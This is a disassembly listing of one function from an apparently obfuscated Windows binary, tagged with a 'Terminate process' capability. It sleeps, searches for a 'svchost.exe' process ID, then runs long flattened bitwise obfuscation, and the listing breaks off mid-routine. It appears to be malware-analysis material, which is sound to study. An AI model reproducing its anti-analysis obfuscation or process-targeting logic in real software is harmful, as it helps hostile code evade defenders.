Function at 0x1400530f0
Capabilities:
Terminate process

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x68
mov qword [rsp + 0x48], rdx
mov edi, ecx
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
call section..text
cmp edi, 2
mov eax, 0x830066c6
mov ecx, 0x77835ed4
cmovl ecx, eax
mov dword [rsp + 0x44], ecx
mov ecx, 0x2cc085ee
nop
mov eax, ecx
cmp ecx, 0x1a167feb
jg 0x1400531a0
cmp eax, 0xc885204f
jle 0x140054900
cmp eax, 0xf3dd6bdd
jle 0x14005ab71
cmp eax, 0xf3dd6bde
je 0x14005d48a
cmp eax, 0xfb08f878
je 0x14005d49c
mov ecx, eax
cmp eax, 0xb7ca3e4
jne 0x140053140
lea rcx, str.____Missing_PID..._Finding...
call sub.api_ms_win_crt_stdio_l1_1_0.dll_puts
lea rcx, str.svchost.exe.exe
call fcn.14002dc40
mov ecx, 0xa79f9cd3
jmp 0x140053140
cmp eax, 0x58d5883d
jle 0x140057970
cmp eax, 0x732773cc
jle 0x14005c65d
cmp eax, 0x732773cd
je 0x14005d4a6
cmp eax, 0x77835ed4
je 0x14005d4b8
mov ecx, eax
cmp eax, 0x7eccbfe2
jne 0x140053140
cmp dword [rsp + 0x5c], 0
sete byte [rsp + 0x5b]
mov eax, dword [0x1400986ac]
lea esi, [rax - 1]
imul esi, eax
mov r8d, esi
not r8d
mov r9d, esi
xor r9d, 0x7fc4d08a
and r9d, esi
mov ecx, esi
mov ebx, r8d
and ebx, 0x24e704b
mov ebp, esi
xor ebp, 0x24e704b
and ebp, esi
mov edi, ebx
and edi, ebp
xor ebp, ebx
or ebp, edi
mov eax, ebp
not eax
and eax, 0xfdb18fb4
and ebp, 0x24e704b
or ebp, eax
mov edi, ebp
and ebp, esi
or esi, 0x803b2f75
mov eax, esi
not eax
mov edx, r9d
not edx
mov ebx, esi
and ebx, 0x4410c5ac
and eax, 0x3bc41002
or eax, ebx
or esi, edx
and edx, 0x4410c5ac
and r9d, 0xbbef3a53
or r9d, edx
xor r9d, eax
not esi
or esi, r9d
mov eax, esi
not eax
and eax, 0x4900908c
and esi, 0xa0200400
or esi, eax
mov eax, esi
not eax
xor esi, 0x36df6b77
mov edx, r8d
and edx, 0x5f0fd4ee
and ecx, 0xa0f02b11
or ecx, edx
mov edx, ecx
xor edx, 0xa0200000
and edx, 0xe920948c
xor ecx, 0x49d0bf9d
or ecx, edx
mov edx, ecx
not edx
and edx, 0xd1bf4048
and ecx, 0x2e40bfb7
or ecx, edx
mov edx, ecx
xor edx, 0x440b480
xor ecx, 0xd1bf4048
mov ebx, esi
or ebx, ecx
not ebx
and esi, 0xba3f4b77
and eax, 0x41009488
or eax, esi
and ecx, 0xba3f4b77
and edx, 0x45c0b488
or edx, ecx
xor edx, eax
mov eax, ebx
and eax, edx
xor edx, ebx
or edx, eax
mov eax, edx
not eax
and eax, 0x7ebc082b
and edx, 0x8143f7d4
or edx, eax
mov eax, edx
not eax
and eax, 0x6e09af6
and edx, 0xf91f6509
or edx, eax
mov eax, edx
xor eax, 0x6e83f9ae
xor edx, 0xf6ca8432
and edx, eax
or eax, 0x67b68263
mov ecx, eax
not ecx
mov ebx, edx
not ebx
mov esi, eax
and esi, 0x357522e9
and ecx, 0x88085d14
or ecx, esi
or eax, ebx
and ebx, 0x357522e9
and edx, 0xca8add16
or edx, ebx
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x67b68263
and eax, 0x98497d9c
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xe54e5178
and eax, 0x1ab1ae87
or eax, edx
mov edx, eax
xor edx, 0x1ab1ae87
xor eax, 0x473589ba
and eax, edx
or ecx, 0xa27bd8c2
mov edx, ecx
not edx
mov ebx, eax
not ebx
mov esi, ebx
and esi, 0x48e26c24
and eax, 0xb71d93db
or eax, esi
or ebx, ecx
and ecx, 0x48e26c24
and edx, 0x15040319
or edx, ecx
xor edx, eax
not ebx
or ebx, edx
mov eax, ebx
and eax, 0xa27bd8c2
not ebx
and ebx, 0x5d84273d
or ebx, eax
mov eax, ebx
not eax
and ebx, 0x717d70ff
and eax, 0x8e828f00
or eax, ebx
mov ecx, eax
xor ecx, 0x210510e5
xor eax, 0x86808100
and eax, 0xd6f8e11a
and ecx, 0x29071ee5
or ecx, eax
mov esi, ecx
xor esi, 0x29071ee5
not edi
and r8d, edi
or ebp, r8d
not ebp
or ebp, edi
xor ecx, 0xd6f8e11a
mov ebx, ecx
mov edi, ebp
and ecx, 0xb9312afb
mov eax, esi
and eax, 0x46ced504
or eax, ecx
xor eax, 0xb9312afb
or eax, ebp
mov ecx, ebp
not ecx
and ebx, 0xcd1806fc
mov edx, esi
and edx, 0x32e7f903
or edx, ebx
mov ebp, edx
xor ebp, 0x10e50800
xor edx, 0xcd1806fc
mov ebx, edx
and ebx, 0xef12f50b
and ebp, 0x10ed0af4
or ebp, ebx
mov ebx, ecx
and ebx, 0xef12f50b
and edi, 0x10ed0af4
or edi, ebx
xor edi, ebp
or edx, ecx
not edx
or edx, edi
mov ebp, edx
not ebp
and ebp, 0x4d5c0369
and edx, 0xb2a3fc96
or edx, ebp
mov ebp, edx
xor ebp, 0xb2a3fc96
not eax
xor ecx, esi
and ecx, esi
mov ebx, eax
and ebx, ecx
xor ecx, eax
or ecx, ebx
mov r8d, edx
xor r8d, 0x4d5c0369
mov r9d, ecx
not r9d
xor edx, 0xa3f5717a
mov esi, edx
and esi, r8d
and edx, ebp
mov ebp, r9d
and ebp, 0x11568dec
and ecx, 0xeea97213
or ecx, ebp
mov edi, esi
not edi
mov ebp, edx
not ebp
mov ebx, edi
and ebx, 0xcd8f1909
and esi, 0x3270e6f6
or esi, ebx
or edi, ebp
and ebp, 0xcd8f1909
and edx, 0x3270e6f6
or edx, ebp
xor edx, esi
not edi
or edi, edx
mov edx, edi
not edx
and edx, 0x4d7f690a
and edi, 0xb28096f5
or edi, edx
mov edx, ecx
not edx
and edx, 0x4d7f690a
and ecx, 0xb28096f5
or ecx, edx
xor ecx, edi
mov edx, r8d
and edx, r9d
xor r9d, r8d
or r9d, edx
not r9d
mov edx, ecx
and edx, r9d
xor r9d, ecx
or r9d, edx
mov r8d, r9d
not r8d
mov ecx, r8d
and ecx, 0x7d4822de
mov edx, r9d
and edx, 0x82b7dd21
or edx, ecx
mov ecx, edx
xor ecx, 0x2055501
xor edx, 0x7d4822de
mov edi, r8d
and edi, r9d
mov ebp, edi
not ebp
mov esi, edx
and esi, 0x88baaaf4
and ecx, 0x7745550b
or ecx, esi
or edx, ebp
and ebp, 0x88baaaf4
mov ebx, edi
and ebx, 0x7745550b
or ebx, ebp
xor ebx, ecx
not edx
or edx, ebx
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0xa04e6b20
mov ebx, edx
and ebx, 0x5fb194df
or ebx, ebp
mov ebp, ebx
not ebp
and ebp, 0xa04e6b21
and ebx, 0x5fb194de
or ebx, ebp
and edx, 0xa0bdcb8
mov ebp, ecx
and ebp, 0xf5f42347
or ebp, edx
xor ebp, 0xf5f42346
and ecx, 0xfffffffe
or ecx, ebp
not ecx
mov edx, ebx
and edx, ecx
xor ecx, ebx
or ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, 0x7ff69a39
and ecx, 0x800965c6
or ecx, edx
mov ebx, ecx
xor ebx, 0x80002
xor ecx, 0x2c309030
or ebp, 0x7d39923b
mov edx, ebp
not edx
or ecx, 0x2024144
and ecx, 0x2e33d174
and ebx, 0x5108020b
or ebx, ecx
and ebp, 0x2e33d174
and edx, 0x80c42c80
or edx, ebp
xor edx, ebx
mov ecx, edx
not ecx
and ecx, 0x82c66dc4
and edx, 0x7d39923b
or edx, ecx
mov r10d, edx
not r10d
mov ecx, r10d
and ecx, 0x866a343b
and edx, 0x7995cbc4
or edx, ecx
xor edx, 0x866a343b
xor r10d, edx
and r10d, edx
mov ecx, r8d
and ecx, edi
xor edi, r8d
or edi, ecx
mov ecx, edi
not ecx
and ecx, 0x4c6032f9
and edi, 0xb39fcd06
or edi, ecx
mov edx, edi
xor edx, 0xb39fcd06
xor edi, 0x82010c0
and edi, 0x3925ddc4
mov ecx, edx
and ecx, 0xc6da223b
or ecx, edi
xor ecx, 0x3925ddc5
and edx, 1
or edx, ecx
mov ecx, edx
not ecx
and r8d, 0x2336cfcc
and r9d, 0xdcc93033
or r9d, r8d
mov eax, r9d
xor eax, 0xdcc93032
and eax, 0xfffffffe
xor r9d, 0x2336cfcd
or r9d, eax
mov eax, r9d
not eax
and eax, edx
or edx, r9d
not edx
and r9d, ecx
or r9d, eax
mov eax, edx
and eax, r9d
xor r9d, edx
or r9d, eax
mov r8d, r10d
not r8d
mov ebp, r9d
not ebp
mov eax, ebp
and eax, 0x4c915b14
mov ecx, r9d
and ecx, 0xb36ea4eb
or ecx, eax
mov eax, ecx
xor eax, 0x80460003
xor ecx, 0x4c915b14
mov edx, r10d
and edx, 0x7bb9a5fc
mov ebx, r8d
and ebx, 0x84465a03
or ebx, edx
mov edx, r10d
or edx, ecx
and ecx, 0x7bb9a5fc
and eax, 0x84465a03
or eax, ecx
xor eax, ebx
not edx
or edx, eax
mov eax, edx
not eax
and eax, 0xf71aaa12
and edx, 0x8e555ed
or edx, eax
mov ecx, edx
xor ecx, 0x8e555ed
mov eax, edx
xor eax, 0x1200a200
and r8d, 0x1101005
mov esi, r10d
and esi, 0xc622212
or esi, r8d
xor esi, 0xc622212
and r10d, 0xf28dcde8
or r10d, esi
or r9d, 0xf28dcde8
mov esi, r9d
not esi
or ebp, 0xd723217
mov edi, ebp
not edi
and r9d, 0x482965dc
and esi, 0x5521203
or esi, r9d
and ebp, 0x482965dc
and edi, 0xb2848820
or edi, ebp
xor edi, esi
mov ebp, r10d
not ebp
and ebp, 0xc1f34eb0
and r10d, 0x3e0cb14f
or r10d, ebp
mov ebx, edi
not ebx
and ebx, 0xc1f34eb0
and edi, 0x3e0cb14f
or edi, ebx
xor edi, r10d
and eax, 0x1a81e748
xor edx, 0x86a4f6ee
and edx, ecx
and ecx, 0xe57e18b7
or ecx, eax
mov r8d, ecx
xor r8d, 0xe57e18b7
mov r9d, edi
not r9d
mov esi, ecx
xor esi, 0x94c0444b
and esi, r8d
mov eax, r9d
and eax, 0x8e41a303
mov ebp, edi
xor ebp, 0x8e41a303
and ebp, edi
mov ebx, esi
and ebx, edx
xor edx, esi
or edx, ebx
mov ebx, eax
and ebx, ebp
xor ebp, eax
or ebp, ebx
mov eax, edx
not eax
and eax, 0xe57cf77b
and edx, 0x1a830884
or edx, eax
mov eax, ebp
not eax
and eax, 0xe57cf77b
and ebp, 0x1a830884
or ebp, eax
xor ebp, edx
xor ecx, 0x1a81e748
mov eax, ecx
and eax, 0x4d10c65b
and r8d, 0xb2ef39a4
or r8d, eax
or ecx, edi
and edi, 0x4d10c65b
and r9d, 0xb2ef39a4
or r9d, edi
xor r9d, r8d
not ecx
or ecx, r9d
mov eax, ecx
not eax
and eax, 0xa6e4840f
and ecx, 0x591b7bf0
or ecx, eax
mov edx, ecx
xor edx, 0x501270b0
xor ecx, 0xa6e4840f
mov esi, ebp
not esi
mov eax, esi
and eax, 0x8b0d0f4b
and ebp, 0x74f2f0b4
or ebp, eax
or esi, ecx
and ecx, 0x8b0d0f4b
and edx, 0x74f2f0b4
or edx, ecx
xor edx, ebp
not esi
or esi, edx
mov ecx, esi
not ecx
mov eax, ecx
and eax, 0xae965d6
mov edx, esi
xor edx, 0xae965d6
and edx, esi
mov ebp, eax
and ebp, edx
xor edx, eax
or edx, ebp
mov eax, edx
not eax
and eax, 0x313fd72d
and edx, 0xcec028d2
or edx, eax
mov eax, edx
xor eax, 0xa902249
and eax, 0xceb16249
xor edx, 0xf567d0b2
or edx, eax
mov ebx, edx
not ebx
mov eax, ecx
and eax, 0x93c8edb9
mov edi, esi
and edi, 0x6c371246
or edi, eax
mov ebp, edi
xor ebp, 0x6c371246
xor edi, 0x13402c11
and edi, 0x33613c15
mov eax, ebp
and eax, 0xcc9ec3ea
or eax, edi
xor eax, 0x22fa1a3
and ebp, 0x314e9db6
or ebp, eax
mov eax, ebp
not eax
and eax, edx
or edx, ebp
mov edi, edx
not edi
and ebp, ebx
or ebp, eax
mov eax, ebp
not eax
mov ebx, edx
and ebx, 0x6be949f8
and edi, 0x9416b607
or edi, ebx
or edx, eax
and eax, 0x6be949f8
and ebp, 0x9416b607
or ebp, eax
xor ebp, edi
not edx
or edx, ebp
mov eax, edx
not eax
mov ebp, eax
and ebp, 0x3e8bd6a1
and edx, 0xc174295e
or edx, ebp
mov ebx, edx
xor ebx, 0x40002000
xor edx, 0xc814200
or eax, 0xceb16249
mov ebp, eax
not ebp
or edx, 0x114014a2
and edx, 0x9df156ea
and ebx, 0x42002001
or ebx, edx
and eax, 0x9df156ea
and ebp, 0x200e8914
or ebp, eax
xor ebp, ebx
mov eax, ebp
not eax
and eax, 0xe72bac66
and ebp, 0x18d45399
or ebp, eax
mov eax, ebp
not eax
and eax, 0x18d45399
and ebp, 0xe72bac66
or ebp, eax
mov eax, ebp
not eax
and eax, 0x7637462
and ebp, 0xf89c8b9d
or ebp, eax
mov edx, ebp
xor edx, 0x7637462
mov eax, ebp
xor eax, 1
xor ebp, 0x2f927987
and ebp, edx
or edx, 0xd70ef21a
mov ebx, ebp
not ebx
mov edi, edx
and edi, 0x3c974fae
and eax, 0x600041
or eax, edi
or edx, ebx
and ebx, 0x3c974fae
and ebp, 0xc368b051
or ebp, ebx
xor ebp, eax
not edx
or edx, ebp
mov eax, edx
not eax
and eax, 0xd70ef21a
and edx, 0x28f10de5
or edx, eax
mov ebp, edx
not ebp
mov eax, ebp
and eax, 0x2eafb8a6
and edx, 0xd1504759
or edx, eax
xor edx, 0x2eafb8a6
xor ebp, edx
and ebp, edx
mov eax, ecx
or eax, 0x7334d0c4
mov edx, eax
not edx
or esi, 0xcc20e02
and esi, 0x7cf25e42
and ecx, 0x3048084
or ecx, esi
and eax, 0x7cf25e42
and edx, 0x80092139
or edx, eax
xor edx, ecx
mov eax, edx
not eax
and eax, 0xe0b7e2d6
and edx, 0x1f481d29
or edx, eax
mov eax, edx
xor eax, 0x6c7ccded
xor edx, 0x93833212
mov ecx, eax
and ecx, edx
xor edx, eax
or edx, ecx
mov eax, edx
not eax
and eax, 0xbe50155e
and edx, 0x41afeaa1
or edx, eax
mov esi, edx
xor esi, 0xa14800
xor edx, 0xbe50155e
mov eax, edx
and eax, 0x671ea3e7
and esi, 0x98e15c18
or esi, eax
xor esi, 0x98e15c18
or esi, edx
mov r14d, esi
not r14d
mov eax, ebp
not eax
mov ecx, ebp
mov edi, eax
mov edx, eax
and edx, 0x9e533fb2
and ebp, 0x61acc04d
or ebp, edx
xor ebp, 0xa822757c
or ebp, eax
or eax, 0x498d3ca3
mov r10d, eax
not r10d
or ecx, 0xb0000108
and ecx, 0xb10001aa
and edi, 0x488d3c01
or edi, ecx
and eax, 0xb10001aa
and r10d, 0x672c254
or r10d, eax
xor r10d, edi
mov eax, r10d
not eax
and eax, 0xb672c35c
and r10d, 0x498d3ca3
or r10d, eax
mov eax, esi
and eax, 0xac6f7763
mov r15d, esi
xor r15d, 0x5390889c
and r15d, r14d
mov ecx, eax
and ecx, r15d
xor r15d, eax
or r15d, ecx
mov eax, r15d
not eax
and eax, 0x5390889c
and r15d, 0xac6f7763
or r15d, eax
mov r9d, r10d
not r9d
mov eax, r9d
and eax, 0x36714ace
mov edx, r10d
and edx, 0xc98eb531
or edx, eax
mov ebx, edx
xor ebx, r9d
and ebx, edx
mov edi, ebp
not edi
mov r8d, r15d
not r8d
mov edx, r8d
and edx, 0x36714ace
mov r13d, r15d
xor r13d, 0xc98eb531
or r13d, edx
mov edx, r13d
not edx
and edx, 0x68068c12
and r13d, 0x97f973ed
or r13d, edx
and esi, 0x7b10c4cc
and r14d, 0x84ef3b33
or r14d, esi
mov edx, r14d
xor edx, 0x808e3131
and edx, 0xc98eb531
xor r14d, 0x4d618e02
or r14d, edx
mov edx, r14d
not edx
and edx, 0x825f5ded
and r14d, 0x7da0a212
or r14d, edx
mov r12d, ebx
not r12d
and ebp, 0xf5d557a2
mov edx, edi
and edx, 0xa2aa85d
or edx, ebp
mov ecx, ebx
xor ecx, 0x7555b2e5
and ecx, r12d
and ebx, 0x8aaa4d1a
mov esi, ecx
and esi, ebx
xor ebx, ecx
mov ebp, edx
xor ebp, 0xa2aa85d
xor edx, 0x8080e547
and edx, ebp
and edi, 0x8aaa4d1a
or ebx, esi
mov ecx, edx
and ecx, edi
xor edi, edx
or edi, ecx
mov ecx, ebx
not ecx
and ecx, edi
not edi
and edi, ebx
mov r11d, r13d
xor r11d, 0x97f973ed
or edi, ecx
mov ecx, r12d
and ecx, ebp
xor ebp, r12d
or ebp, ecx
mov ecx, ebp
not ecx
and ecx, 0x286491f5
and ebp, 0xd79b6e0a
or ebp, ecx
mov ebx, edi
not ebx
mov ecx, ebx
and ecx, 0x50ea947e
and edi, 0xaf156b81
or edi, ecx
mov esi, ebp
xor esi, 0x87116a00
xor ebp, 0x286491f5
or ebx, ebp
and ebp, 0x50ea947e
and esi, 0xaf156b81
or esi, ebp
mov ecx, r13d
xor ecx, 0x68068c12
xor esi, edi
mov edx, r14d
xor edx, 0x5808200
xor r14d, 0x825f5ded
not ebx
or ebx, esi
mov esi, r14d
and esi, 0xf87831fa
and edx, 0x787ce05
or edx, esi
xor r13d, 0x429a9b00
mov edi, r13d
and edi, ecx
and r13d, r11d
mov esi, edi
and esi, r13d
xor r13d, edi
mov ebp, edx
xor edx, 0xd06020e8
or edx, 0x2a9c1712
or r13d, esi
mov edi, edx
not edi
or r14d, 0xd563e8ed
and edx, 0x547e0ab3
and edi, 0x8101e04c
or edi, edx
mov edx, r14d
not edx
and r14d, 0x547e0ab3
and edx, 0x2a801500
or edx, r14d
xor edx, edi
mov eax, r13d
not eax
and eax, edx
not edx
and edx, r13d
xor ebp, 0x787ce05
or edx, eax
mov eax, ecx
and eax, ebp
xor ebp, ecx
or ebp, eax
mov esi, edx
not esi
mov ecx, esi
and ecx, 0xedfe213
and edx, 0xf1201dec
or edx, ecx
mov ecx, ebp
not ecx
or esi, ebp
and ebp, 0xedfe213
and ecx, 0xf1201dec
or ecx, ebp
xor ecx, edx
not esi
or esi, ecx
mov ecx, esi
not ecx
mov edx, ecx
or edx, ebx
not ebx
not edx
and ecx, 0x31312c3
and esi, 0xfceced3c
or esi, ecx
xor esi, 0x31312c3
or esi, ebx
not esi
mov ecx, edx
and ecx, esi
xor esi, edx
or esi, ecx
mov edx, r9d
or edx, r8d
mov ecx, edx
not ecx
and r9d, 0x794b5006
and r10d, 0x86b4aff9
or r10d, r9d
and r8d, 0x794b5006
and r15d, 0x86b4aff9
or r15d, r8d
xor r15d, r10d
mov ebp, r15d
not ebp
mov ebx, edx
and ebx, 0x6a874efb
and ecx, 0x9578b104
or ecx, ebx
or edx, ebp
and ebp, 0x6a874efb
and r15d, 0x9578b104
or r15d, ebp
xor r15d, ecx
not edx
or edx, r15d
mov ebp, edx
not ebp
mov ecx, ebp
and ecx, 0xcc52cb5
and edx, 0xf33ad34a
or edx, ecx
mov ebx, edx
xor ebx, 0x1004148
xor edx, 0x800084
or ebp, 0x1cae5cc
mov ecx, ebp
not ecx
or edx, 0x58340a03
and edx, 0x58be8a87
and ebx, 0x1406548
or ebx, edx
and ebp, 0x58be8a87
and ecx, 0xa6011030
or ecx, ebp
xor ecx, ebx
mov edx, ecx
not edx
and edx, 0x802a401f
and ecx, 0x7fd5bfe0
or ecx, edx
mov ebx, ecx
xor ebx, 0x7e1f5a2c
mov eax, esi
not eax
and eax, 0xc82217fb
mov edx, esi
and edx, 0x37dde804
or edx, eax
mov r8d, edx
xor r8d, 0x37dde804
mov eax, ecx
xor eax, 0x814005c3
and eax, 0xb3551def
xor ecx, 0xc1007597
and ecx, ebx
and ebx, 0x4caae210
or ebx, eax
mov ebp, ebx
xor ebp, 0x4caae210
mov eax, edx
xor eax, 0x773d3840
and eax, r8d
and esi, 0x40e0d044
xor ebx, 0xb3551def
mov edi, ebp
and edi, 0xbf1f2fbb
mov r9d, eax
and r9d, esi
xor esi, eax
or esi, r9d
mov eax, edi
and eax, ecx
xor ecx, edi
or ecx, eax
mov eax, esi
not eax
and eax, ecx
not ecx
and ecx, esi
or ecx, eax
xor edx, 0xc82217fb
mov eax, edx
and eax, 0xbf0159e1
and r8d, 0x40fea61e
or r8d, eax
or edx, ebx
and ebx, 0xbf0159e1
and ebp, 0x40fea61e
or ebp, ebx
xor ebp, r8d
not edx
or edx, ebp
mov eax, edx
not eax
and eax, 0xab555beb
and edx, 0x54aaa414
or edx, eax
mov ebp, edx
xor ebp, 0x4422a000
xor edx, 0xab555beb
mov esi, ecx
not esi
mov eax, esi
and eax, 0x3b9d16d4
and ecx, 0xc462e92b
or ecx, eax
or esi, edx
and edx, 0x3b9d16d4
and ebp, 0xc462e92b
or ebp, edx
xor ebp, ecx
not esi
or esi, ebp
mov r8d, esi
not r8d
mov ecx, r8d
and ecx, 0xc800410
mov edx, esi
and edx, 0xe12d632a
or edx, ecx
mov ebp, edx
xor ebp, 0xe009602a
xor edx, 0x18d094c4
mov eax, r8d
or eax, 0xedad673a
mov ecx, eax
not ecx
and edx, 0x19f497c4
and ebp, 0xe409603a
or ebp, edx
and eax, 0x19f497c4
and ecx, 0x2020801
or ecx, eax
xor ecx, ebp
mov eax, ecx
not eax
and eax, 0x8482933c
and ecx, 0x7b7d6cc3
or ecx, eax
mov ebp, ecx
xor ebp, 0x825001f9
xor ecx, 0x680b8002
and ecx, 0x7c8b8a02
and ebp, 0x837475fd
or ebp, ecx
mov eax, ebp
xor eax, 0x1306014
and eax, 0x4133e016
xor ebp, 0xc24795eb
or ebp, eax
mov eax, ebp
not eax
and eax, 0x1deacb15
and ebp, 0xe21534ea
or ebp, eax
mov eax, ebp
xor eax, 0xe21534ea
mov ecx, r8d
and ecx, 0xbecc1fe9
mov ebx, esi
and ebx, 0x4133e016
or ebx, ecx
not ebx
or ebx, r8d
mov edx, ebx
not edx
mov r9d, ebp
xor r9d, 0x1deacb15
and ebx, 0x7ab21f6f
mov edi, edx
and edi, 0x854de090
or edi, ebx
xor edi, 0x854de090
xor ebp, 0x9cca2caa
mov ebx, ebp
and ebx, r9d
and ebp, eax
mov eax, edi
and eax, 0x7edf1840
and edx, 0x8120e7bf
or edx, eax
mov ecx, ebx
not ecx
mov eax, ecx
and eax, 0xef581ce9
and ebx, 0x10a7e316
or ebx, eax
mov eax, ebp
not eax
or ecx, eax
and eax, 0xef581ce9
and ebp, 0x10a7e316
or ebp, eax
xor ebp, ebx
not ecx
or ecx, ebp
mov eax, ecx
not eax
and eax, 0xf0b93548
and ecx, 0xf46cab7
or ecx, eax
mov eax, edx
not eax
and eax, 0xf0b93548
and edx, 0xf46cab7
or edx, eax
mov r10d, dword [0x1400986a8]
xor edx, ecx
mov eax, r9d
and eax, edi
xor edi, r9d
or edi, eax
mov ebp, edx
not ebp
mov eax, ebp
and eax, 0x617c08dd
and edx, 0x9e83f722
or edx, eax
mov eax, edi
not eax
or ebp, edi
and edi, 0x617c08dd
and eax, 0x9e83f722
or eax, edi
xor eax, edx
not ebp
or ebp, eax
mov eax, ebp
not eax
mov ecx, ebp
xor ecx, 0xb646f645
and ecx, ebp
or ebp, 0x49b909ba
mov edx, ebp
and edx, 0x3a92e4fb
and eax, 0x84441204
or eax, edx
mov edx, ecx
not edx
or ebp, edx
and edx, 0x3a92e4fb
and ecx, 0xc56d1b04
or ecx, edx
xor ecx, eax
not ebp
or ebp, ecx
mov eax, ebp
not eax
and eax, 0x729c6b05
and ebp, 0x8d6394fa
or ebp, eax
mov edi, ebp
xor edi, 0x7a1682a9
mov eax, r8d
and eax, 0xa95fa650
and esi, 0x56a059af
or esi, eax
mov eax, esi
xor eax, 0x100
xor esi, 0x20430040
or r8d, 0x3647815b
mov ecx, r8d
not ecx
or esi, 0x89b04a04
and esi, 0xbff34a4f
and eax, 0x48110
or eax, esi
and r8d, 0xbff34a4f
and ecx, 0x400834a0
or ecx, r8d
xor ecx, eax
mov eax, ecx
not eax
and eax, 0x7da1c276
and ecx, 0x825e3d89
or ecx, eax
mov eax, ecx
xor eax, 0xb001a400
xor ebp, 0x85e97d56
mov ebx, ebp
and ebx, 0x45001851
mov edx, edi
and edx, 0x21e0082
or edx, ebx
xor edx, 0x21e0082
and edi, 0xb8e1e72c
or edi, edx
xor ecx, 0x43060001
and ecx, 0x471e18d3
and eax, 0xb8e1e72c
or eax, ecx
mov ecx, edi
not ecx
and ecx, 0x3a24e963
and edi, 0xc5db169c
or edi, ecx
mov ecx, eax
not ecx
and ecx, 0x3a24e963
and eax, 0xc5db169c
or eax, ecx
xor eax, edi
mov ecx, eax
not ecx
and ecx, 0x5041677d
and eax, 0xafbe9882
or eax, ecx
xor eax, 0xafbe9882
mov ecx, eax
and ecx, ebp
xor eax, ebp
or eax, ecx
cmp eax, 0xffffffff
setne r9b
sete sil
cmp r10d, 0xa
setl r8b
cmp r10d, 9
setg r10b
mov edx, esi
xor dl, r10b
mov r11d, edx
and r11b, sil
mov ebx, esi
mov r15d, r10d
or r15b, sil
and sil, r10b
or sil, dl
and dl, r10b
mov eax, r11d
xor al, 1
xor r11b, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, r11b
mov eax, edx
xor al, 1
mov ebp, eax
and bpl, dl
xor al, bpl
xor bpl, 1
or bpl, dl
xor bpl, 1
or bpl, al
mov eax, ebp
xor al, 1
mov edx, r10d
and dl, al
or al, r8b
xor al, 1
and bpl, r8b
or bpl, dl
mov edx, eax
and dl, bpl
xor bpl, al
or bpl, dl
mov eax, ebp
xor al, 1
and bpl, al
mov edx, eax
and dl, bpl
xor bpl, al
or bpl, dl
mov r11d, ebp
xor r11b, 1
mov eax, r10d
and al, r9b
and bl, r8b
or bl, al
xor sil, 1
mov eax, ebx
and al, sil
xor sil, bl
or sil, al
mov edi, esi
xor dil, 1
or r9b, r8b
xor r9b, 1
xor r15b, 1
mov eax, r9d
and al, r15b
xor r15b, r9b
or r15b, al
mov eax, r15d
xor al, 1
and r10b, al
and r15b, r8b
or r15b, r10b
xor r15b, 1
or r15b, al
mov r8d, r15d
xor r8b, 1
mov r10d, esi
or r10b, dil
mov eax, r10d
xor al, 1
mov r9d, r8d
or r9b, r15b
mov edx, r9d
xor dl, 1
mov ebx, r10d
and bl, al
mov r14d, r10d
xor r14b, bl
xor bl, 1
or bl, al
xor bl, 1
or bl, r14b
mov ecx, ebx
xor cl, 1
and cl, sil
and bl, dil
or bl, cl
xor r10b, sil
or al, dil
xor al, 1
or al, r10b
xor al, 1
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov ecx, r8d
and cl, r9b
or r9b, r15b
and dl, r15b
or dl, cl
xor dl, 1
mov ecx, r9d
xor cl, dl
or dl, r9b
xor dl, 1
or dl, cl
mov ecx, eax
xor cl, 1
mov ebx, edx
xor bl, 1
and bl, dl
mov r9d, ebx
and r9b, dl
xor bl, dl
or bl, r9b
and cl, bl
xor bl, 1
and bl, al
or bl, cl
and r15b, dil
or dil, r8b
xor dil, 1
and r8b, sil
or r8b, r15b
mov eax, edi
and al, r8b
xor r8b, dil
or r8b, al
mov ecx, r8d
xor cl, 1
and cl, r8b
xor cl, 1
mov eax, r8d
xor al, cl
or cl, r8b
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
xor cl, bl
xor bl, 1
or bl, al
xor bl, 1
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
mov r12d, ebp
and r12b, r11b
xor r12b, 1
mov eax, ebp
xor al, r12b
mov ebx, ebp
or bl, r12b
xor bl, 1
or bl, al
or bpl, r11b
xor bpl, 1
mov eax, ebx
xor al, bpl
or bl, bpl
xor bl, 1
or bl, al
xor al, 1
mov r8d, eax
xor r8b, bl
or bl, al
xor bl, 1
or bl, r8b
mov edi, ecx
xor dil, 1
mov eax, edi
and al, cl
xor al, 1
mov r8d, ecx
xor r8b, al
or al, cl
xor al, 1
or al, r8b
mov esi, eax
xor sil, 1
mov edx, eax
and dl, sil
mov r8d, edx
and r8b, al
xor dl, al
or dl, r8b
or sil, al
xor sil, 1
mov eax, edx
and al, sil
xor sil, dl
or sil, al
mov r8d, ebx
xor r8b, 1
mov r9d, r8d
and r9b, bl
mov r10d, r9d
xor r10b, 1
mov eax, ebx
xor al, r10b
or r10b, bl
xor r10b, 1
or al, r10b
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
xor al, 1
mov ebx, eax
xor bl, dl
or al, dl
xor al, 1
or al, bl
mov r15d, eax
xor r15b, 1
mov edx, r11d
xor dl, r12b
or r12b, r11b
xor r12b, 1
or r12b, dl
xor r12b, 1
mov edx, r12d
and dl, bpl
xor r12b, bpl
or r12b, dl
mov r14d, r12d
xor r14b, 1
mov r11d, esi
xor r11b, 1
mov edx, esi
xor dl, r11b
mov ebx, r11d
or bl, sil
xor bl, 1
or bl, dl
mov edx, ebx
xor dl, 1
and bl, dl
mov ebp, edx
and bpl, bl
xor bl, dl
or bl, bpl
mov ebp, ebx
xor bpl, 1
or cl, dil
xor dil, cl
and dil, cl
mov ecx, eax
and cl, r15b
xor r15b, r12b
mov r13d, r15d
xor r13b, al
and r13b, r15b
and r14b, r12b
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, r12d
and al, r14b
xor r14b, r12b
or r14b, al
mov eax, ecx
xor al, 1
